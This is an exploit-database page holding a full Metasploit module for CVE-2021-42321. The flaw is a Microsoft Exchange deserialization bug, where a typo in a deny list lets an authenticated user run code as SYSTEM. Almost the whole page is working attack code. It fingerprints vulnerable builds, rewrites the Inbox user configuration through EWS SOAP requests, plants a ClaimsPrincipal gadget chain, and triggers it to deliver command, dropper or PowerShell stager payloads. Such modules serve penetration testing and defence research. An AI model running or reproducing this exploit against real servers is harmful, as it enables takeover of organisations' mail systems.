Microsoft Exchange Server Remote Code Execution

2022.03.01
Credit: zcgonvh
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'nokogiri' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE', 'Description' => %q{ This vulnerability allows remote attackers to execute arbitrary code on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3, and Exchange Server 2016 CU22 prior to Security Update 2. Note that authentication is required to exploit this vulnerability. The specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an entry was typo'd as System.Security.ClaimsPrincipal instead of the proper value of System.Security.Claims.ClaimsPrincipal. By leveraging this vulnerability, attacks can bypass the ChainedSerializationBinder's deserialization deny list and execute code as NT AUTHORITY\SYSTEM. Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server 2016. }, 'Author' => [ 'pwnforsp', # Original Bug Discovery 'zcgonvh', # Of 360 noah lab, Original Bug Discovery 'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild 'Microsoft Security Response Center', # Discovery of exploitation in the wild 'peterjson', # Writeup 'testanull', # PoC Exploit 'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D ], 'References' => [ ['CVE', '2021-42321'], ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'], ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'], ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'], ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'], ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'] ], 'DisclosureDate' => '2021-12-09', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :win_cmd } ], [ 'Windows Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :win_dropper, 'DefaultOptions' => { 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest } } ], [ 'PowerShell Stager', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_stager } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'HttpClientTimeout' => 5, 'WfsDelay' => 10 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169 CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger. ] } ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']), OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', '']) ]) end def post_auth? true end def username datastore['HttpUsername'] end def password datastore['HttpPassword'] end def vuln_builds # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 [ [Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21 [Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22 [Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10 [Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11 ] end def check # First lets try a cheap way of doing this via a leak of the X-OWA-Version header. # If we get this we know the version number for sure and we can skip a lot of leg work. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/owa/service') ) unless res return CheckCode::Unknown('Target did not respond to check.') end if res.headers['X-OWA-Version'] build = res.headers['X-OWA-Version'] if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.") else return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.") end end # Next, determine if we are up against an older version of Exchange Server where # the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange # give only a partial version without the build number. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx') ) unless res return CheckCode::Unknown('Target did not respond to check.') end if res.code == 200 && ((%r{/owa/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body)) if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.") else return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.") end end # Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application # URL which if successful should provide some XML with entries like the following: # # <assemblyIdentity name="microsoft.exchange.ediscovery.exporttool.application" # version="15.2.986.5" publicKeyToken="b1d1a6c45aa418ce" language="neutral" # processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" /> # # This only works on Exchange Server 2013 and later and may not always work, but if it # does work it provides the full version number so its a nice strategy. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application') ) unless res return CheckCode::Unknown('Target did not respond to check.') end if res.code == 200 && res.body =~ /name="microsoft.exchange.ediscovery.exporttool" version="\d+\.\d+\.\d+\.\d+"/ build = res.body.match(/name="microsoft.exchange.ediscovery.exporttool" version="(\d+\.\d+\.\d+\.\d+)"/)[1] if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.") else return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.") end end # Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx # to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200 # OK response, we found the target version number, otherwise we didn't find it. # # Props go to @jmartin-r7 for improving my original code for this and suggestion the use of # canonical_segments to make this close to the Rex::Version code format. Also for noticing that # version_range is a Rex::Version object already and cleaning up some of my original code to simplify # things on this premise. vuln_builds.each do |version_range| return CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2] prepend_range = version_range[0].canonical_segments[0..-2] lowest_patch = version_range[0].canonical_segments.last while Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1] res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/ecp/#{build}/exporttool/") ) unless res return CheckCode::Unknown('Target did not respond to check.') end if res && res.code == 200 return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.") end lowest_patch += 1 end CheckCode::Unknown('Could not determine the build number of the target Exchange Server.') end end def exploit case target['Type'] when :win_cmd execute_command(payload.encoded) when :win_dropper execute_cmdstager when :psh_stager execute_command(cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true )) end end def execute_command(cmd, _opts = {}) # Get the user's inbox folder's ID and change key ID. print_status("Getting the user's inbox folder's ID and ChangeKey ID...") xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:GetFolder> <m:FolderShape> <t:BaseShape>AllProperties</t:BaseShape> </m:FolderShape> <m:FolderIds> <t:DistinguishedFolderId Id="inbox" /> </m:FolderIds> </m:GetFolder> </soap:Body> </soap:Envelope>) res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), 'data' => xml_getfolder_inbox, 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. } ) fail_with(Failure::Unreachable, 'Connection failed') if res.nil? unless res&.body fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') end xml_getfolder = res.get_xml_document xml_getfolder.remove_namespaces! xml_tag = xml_getfolder.xpath('//FolderId') if xml_tag.empty? fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!') end unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey') fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!') end change_key_val = xml_tag.attribute('ChangeKey').value folder_id_val = xml_tag.attribute('Id').value print_good("ChangeKey value for Inbox folder is #{change_key_val}") print_good("ID value for Inbox folder is #{folder_id_val}") # Delete the user configuration object that currently on the Inbox folder. print_status('Deleting the user configuration object associated with Inbox folder...') xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:DeleteUserConfiguration> <m:UserConfigurationName Name="ExtensionMasterTable"> <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" /> </m:UserConfigurationName> </m:DeleteUserConfiguration> </soap:Body> </soap:Envelope>) res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), 'data' => xml_delete_inbox_user_config, 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. } ) fail_with(Failure::Unreachable, 'Connection failed') if res.nil? unless res&.body fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') end if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>} print_good('Successfully deleted the user configuration object associated with the Inbox folder!') else print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!') print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!') end # Now to replace the deleted user configuration object with our own user configuration object. print_status('Creating the malicious user configuration object on the Inbox folder!') gadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter)) xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:CreateUserConfiguration> <m:UserConfiguration> <t:UserConfigurationName Name="ExtensionMasterTable"> <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" /> </t:UserConfigurationName> <t:Dictionary> <t:DictionaryEntry> <t:DictionaryKey> <t:Type>String</t:Type> <t:Value>OrgChkTm</t:Value> </t:DictionaryKey> <t:DictionaryValue> <t:Type>Integer64</t:Type> <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value> </t:DictionaryValue> </t:DictionaryEntry> <t:DictionaryEntry> <t:DictionaryKey> <t:Type>String</t:Type> <t:Value>OrgDO</t:Value> </t:DictionaryKey> <t:DictionaryValue> <t:Type>Boolean</t:Type> <t:Value>false</t:Value> </t:DictionaryValue> </t:DictionaryEntry> </t:Dictionary> <t:BinaryData>#{gadget_chain}</t:BinaryData> </m:UserConfiguration> </m:CreateUserConfiguration> </soap:Body> </soap:Envelope>) res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), 'data' => xml_malicious_user_config, 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. } ) fail_with(Failure::Unreachable, 'Connection failed') if res.nil? unless res&.body fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') end unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>} fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!') end print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!') # Deserialize our object. If all goes well, you should now have SYSTEM :) print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...') xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body> <m:GetClientAccessToken> <m:TokenRequests> <t:TokenRequest> <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id> <t:TokenType>CallerIdentity</t:TokenType> </t:TokenRequest> </m:TokenRequests> </m:GetClientAccessToken> </soap:Body> </soap:Envelope>) res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), 'data' => xml_get_client_access_token, 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about. } ) fail_with(Failure::Unreachable, 'Connection failed') if res.nil? unless res&.body fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!') end unless res.body =~ %r{<e:Message xmlns:e="http://schemas.microsoft.com/exchange/services/2006/errors">An internal server error occurred. The operation failed.</e:Message>} fail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!') end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top